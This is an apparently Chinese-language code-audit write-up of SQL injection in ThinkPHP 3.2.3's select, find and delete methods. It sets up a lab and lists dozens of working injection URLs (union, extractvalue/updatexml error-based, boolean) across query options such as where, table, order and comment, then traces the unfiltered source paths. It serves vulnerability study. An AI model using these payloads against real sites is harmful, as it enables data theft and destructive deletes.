环境搭建

下载:ThinkPHP3.2.3完整版 - ThinkPHP框架

数据库配置

创建数据库thinkphp,表为user,含有三个字段id,username,pass

修改Application\Common\Conf\config.php配置文件,添加数据库配置信息

 <?php
return array(
	'DB_TYPE'               =>  'mysql',     // 数据库类型
    'DB_HOST'               =>  '127.0.0.1', // 服务器地址
    'DB_NAME'               =>  'thinkphp',          // 数据库名
    'DB_USER'               =>  'root',      // 用户名
    'DB_PWD'                =>  'root',          // 密码
    'DB_PORT'               =>  '3306',        // 端口
    'DB_PREFIX'             =>  '',    // 数据库表前缀
    'DB_PARAMS'             =>  array(), // 数据库连接参数
    'DB_DEBUG'              =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志
    'DB_FIELDS_CACHE'       =>  true,        // 启用字段缓存
    'DB_CHARSET'            =>  'utf8',      // 数据库编码默认采用utf8
    'DB_DEPLOY_TYPE'        =>  0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
    'DB_RW_SEPARATE'        =>  false,       // 数据库读写是否分离 主从式有效
    'DB_MASTER_NUM'         =>  1, // 读写分离后 主服务器数量
    'DB_SLAVE_NO'           =>  '', // 指定从服务器序号
);

数据库测试

thinkphp32\Application\Home\Controller\IndexController.class.php 创建函数,内容如下:

    public function test(){
        $data = M('users')->where('id=1')->select();
        var_dump($data);
    }

浏览器访问测试:

http://127.0.0.1/index.php/Home/Index/test

http://127.0.0.1/index.php?m=Home&c=index&a=test

http://127.0.0.1/index.php?s=/Home/index/test

select/find

thinkphp32\Application\Home\Controller\IndexController.class.php 创建函数,内容如下:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
    }

    public function test(){
        $id = I(id);
        $data = M('users')->select($id);
        var_dump($data);
    }
}

payload

where

#第一种payload
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[where]=1=1 union select 1,2,user() %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[where]=extractvalue(0x7e,concat(0x7e,user())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[where]=1=1 %23

#第二种payload
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[where][_string]=1=1) union select 1,2,user() %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[where][_string]=extractvalue(0x7e,concat(0x7e,user()))) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[where][_string]=1=1) %23

field

#注:请保证以,为分割payload,保证分割得到的每一部分均含有至少一个空格(或其他parseKey中匹配的字符),否则该部分会被一对`包裹;并且需要知道目标数据库中至少1个数据表
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[field]=1 from users union select user()%23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[field]=1 , extractvalue(0x7e, concat(0x7e, user())) from users %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[field]=* from users where 1=1 %23 

table

# 注:请保证以,为分割payload,保证分割得到的每一部分均含有至少一个空格(或其他parseKey中匹配的字符),否则该部分会被一对`包裹;
# 并且需要知道目标数据库中至少1个数据表
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[table]=users union select 1,2,user() %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&?id[table]=users where extractvalue(0x7e, concat(0x7e, user())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[table]=users where 1=1 %23

join

#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[join][]=union select 1,2 %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[join][]=where extractvalue(0x7e,concat(0x7e,user())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[join][]=where 1=1 %23 

force

#注:审计环境设置的索引为字段id,使用payload时请修改为对应的索引,在未知索引或不存在索引的情况下无法使用
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[force]=id) union select 1,2,user() %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[force]=id) where extractvalue(0x7e,concat(0x7e,version())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[force]=id) where 1=1 %23 

group

#注:需要已知所查数据表中任意一字段名
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[group]=id union select 1,2,user() %23

having

#注:需要已知所查数据表中任意一字段名
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[having]=id union select 1,2,user() %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[having]=1=1 %23

order

#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[order]=extractvalue(0x7e,concat(0x7e,version())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[order]=1=1 %23

limit

#限于5.0.0< MySQL <5.6.6版本才能使用
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[page][]=1&id[page][]=1 procedure analyse(extractvalue(0x7e,concat(0x7e, version())),number) %23 

alias

http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

漏洞分析

首先用 I 方法获取id的值,跟进I方法,过滤方式 filter 默认为 DEFAULT_FILTER ,对应值为htmlspecialchars。

$filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');

然后判断传入的参数是不是数组,使用filter对应的方法处理一边,但是因为默认为htmlspecialchars,对其值进行实体编码,所以并没什么影响

$data   =   is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤

然后在380行进行了强制类型转换,默认为字符型,所以也没影响

        if(!empty($type)){
        	switch(strtolower($type)){
        		case 'a':	// 数组
        			$data 	=	(array)$data;
        			break;
        		case 'd':	// 数字
        			$data 	=	(int)$data;
        			break;
        		case 'f':	// 浮点
        			$data 	=	(float)$data;
        			break;
        		case 'b':	// 布尔
        			$data 	=	(boolean)$data;
        			break;
                case 's':   // 字符串
                default:
                    $data   =   (string)$data;
        	}
        }

最后在402行,如果传值为数组时,会进行正则过滤

    is_array($data) && array_walk_recursive($data,'think_filter');

但是这里的过滤关键字并不针对SQL注入漏洞,可以轻易饶过

    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }

然后再看select函数的内部实现

$options为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段

        if(is_string($options) || is_numeric($options)) {
            // 根据主键查询
            if(strpos($options,',')) {
                $where[$pk]     =  array('IN',$options);
            }else{
                $where[$pk]     =  $options;
            }
            $options            =  array();
            $options['where']   =  $where;
        }

满足$options$pk主键同时为数组时,进入根据复合主键查询,但这个对于表只设置一个主键的时候不成立。

elseif (is_array($options) && (count($options) > 0) && is_array($pk)) 

如果 $options 为 false , 用于子查询 不查询只返回SQL

elseif(false === $options){ // 用于子查询 不查询只返回SQL
        	$options['fetch_sql'] = true;
        }

那么就可以使$options为数组,同时找到一个表只有一个主键,就可以绕过三次判断,直接进入_parseOptions进行解析。

然后看表达式分析 _parseOptions 方法

$options我们可控,那么就可以控制为数组类型,传入$options['table']$options['alias']等等,都没有进行过滤

传入$options['where'] 时,设置$options['where']的值为字符串,即可绕过字段类型的验证。

    protected function _parseOptions($options=array()) {
        if(is_array($options))
            ////当$options为数组的时候 直接与 $this->options 数组进行 合并
            $options =  array_merge($this->options,$options);

        if(!isset($options['table'])){
            // 自动获取表名
            $options['table']   =   $this->getTableName();
            $fields             =   $this->fields;
        }else{
            // 指定数据表 则重新获取字段列表 但不支持类型检测
            $fields             =   $this->getDbFields();
        }

        // 数据表别名
        if(!empty($options['alias'])) {
            $options['table']  .=   ' '.$options['alias'];  //直接进行了拼接
        }
        // 记录操作的模型名称
        $options['model']       =   $this->name;

        // 字段类型验证, 如果不设置where,或者设置为字符串,这里即可绕过
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options  =   array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;
    }

然后返回,ThinkPHP\Library\Think\Model.class.php

$options    =  $this->_parseOptions($options);
....
// 重点关注
$resultSet  = $this->db->select($options);

跟进 this>db>select(this->db->select(options)

    public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);// 生成执行sql语句
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);// 执行sql语句
        return $result;
    }

跟进sql语句构建函数 buildSelectSql

    public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根据页数计算limit,分页控制,这里强制转换成整数了,无法利用
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }

继续跟进 parseSql 方法

    public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }

这里对SQL模板语句进行替换, 皆未进行替换。

以where部分为例,parseWhere 方法

if(is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where;
        }else{ // 使用数组表达式
			......
             foreach ($where as $key=>$val){
                if(is_numeric($key)){
                   $key  = '_complex';
                }
                if(0===strpos($key,'_')) {
                   // 解析特殊条件表达式
                   $whereStr   .= $this->parseThinkWhere($key,$val);
                }else{
                   ......
                }
             }
		}
               

当where部分为字符串时,直接进行了拼接,所以最简单粗暴的就直接构造

http://127.0.0.1/index.php?s=/Home/index/test&id[where]=0 union select 1,2,user() %23

当where部分为 数组表达式时,遍历数组key、value值,当key以_开头时进入特殊表达式解析函数parseThinkWhere

    protected function parseThinkWhere($key,$val) {
        $whereStr   = '';
        switch($key) {
            case '_string':
                // 字符串模式查询条件
                $whereStr = $val;
                break;
            case '_complex':
                // 复合查询条件
                $whereStr = substr($this->parseWhere($val),6);
                break;
            case '_query':
                // 字符串模式查询条件
                parse_str($val,$where);
                if(isset($where['_logic'])) {
                    $op   =  ' '.strtoupper($where['_logic']).' ';
                    unset($where['_logic']);
                }else{
                    $op   =  ' AND ';
                }
                $array   =  array();
                foreach ($where as $field=>$data)
                    $array[] = $this->parseKey($field).' = '.$this->parseValue($data);
                $whereStr   = implode($op,$array);
                break;
        }
        return '( '.$whereStr.' )';
    }

可以看到,当$key_string时,直接将 $val 复制给 $whereStr

最后 拼接在了一对 括号 里面返回,所以这里又有了另外一种payload

http://127.0.0.1/index.php?s=/Home/index/test&id[where][_string]=0) union select 1,2,user() %23

delete

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
    }

    public function test(){
        $id = I(id);
        $data = M('users')->delete($id);
        var_dump($data);
    }
}

payload

table部分

#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]= &id[table]=users where extractvalue(0x7e, concat(0x7e, version())) %23
#逻辑判断
http://192.168.1.8/index.php?s=/Home/index/test&id[where]= &id[table]=users where 1=1 %23

where部分

#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=extractvalue(0x7e,concat(0x7e,version()))
#逻辑判断
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=1=1

order部分

#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=1!=1&id[order]=extractvalue(0x7e, concat(0x7e, version())) %23
#逻辑判断
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=1!=1&id[order]=1=1 %23

limit部分

#限于5.0.0< MySQL <5.6.6版本才能使用
#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=1!=1&id[order]=extractvalue(0x7e, concat(0x7e, version())) %23

comment部分

#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]= &id[comment]=*/extractvalue(0x7e,concat(0x7e, version())) %23
#逻辑判断
http://192.168.1.8/index.php?s=/Home/index/test&id[where]= &id[comment]=*/1=1 %23

漏洞分析

delete函数和select/find函数类似,直接进入 delete 函数

在解析完$options之后,还对$options['where']判断了一下是否为空,

所以where需要我们传一下值

        $options =  $this->_parseOptions($options);
        if(empty($options['where'])){
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }    
		......
        $result  =    $this->db->delete($options);
		......

然后跟进 $this->db->delete($options)

    public function delete($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql    =   'DELETE FROM '.$table;
        if(strpos($table,',')){// 多表删除支持USING和JOIN操作
            if(!empty($options['using'])){
                $sql .= ' USING '.$this->parseTable($options['using']).' ';
            }
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            // 单表删除支持order和limit
            $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

在跟进到 parseWhere

    protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where;
        }else{ // 使用数组表达式
        	.....
        }
        return empty($whereStr)?'':' WHERE '.$whereStr;
    }

最终在前面拼接了 WHERE 直接返回,无任何过滤

http://192.168.1.8/index.php?s=/Home/index/test&id[where]=extractvalue(0x7e,concat(0x7e,version()))

如何在table部分注入,需要吧parseWhere 方法里面最后拼接的 WHERE 给注释掉,否早语法报错

http://192.168.1.8/index.php?s=/Home/index/test&id[where]=123&id[table]=users where extractvalue(0x7e, concat(0x7e, version())) %23

// 最终拼接的语句
DELETE FROM users where extractvalue(0x7e,concat(0x7e,version())) # WHERE 123

参考文章

ThinkPHP3.2.3代码审计 - Article_kelp - 博客园

thinkphp3.2_find_select_delete注入 - 先知社区

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23) - 先知社区

Thinkphp3.x/5.x系列漏洞总结学习 - T00ls.Com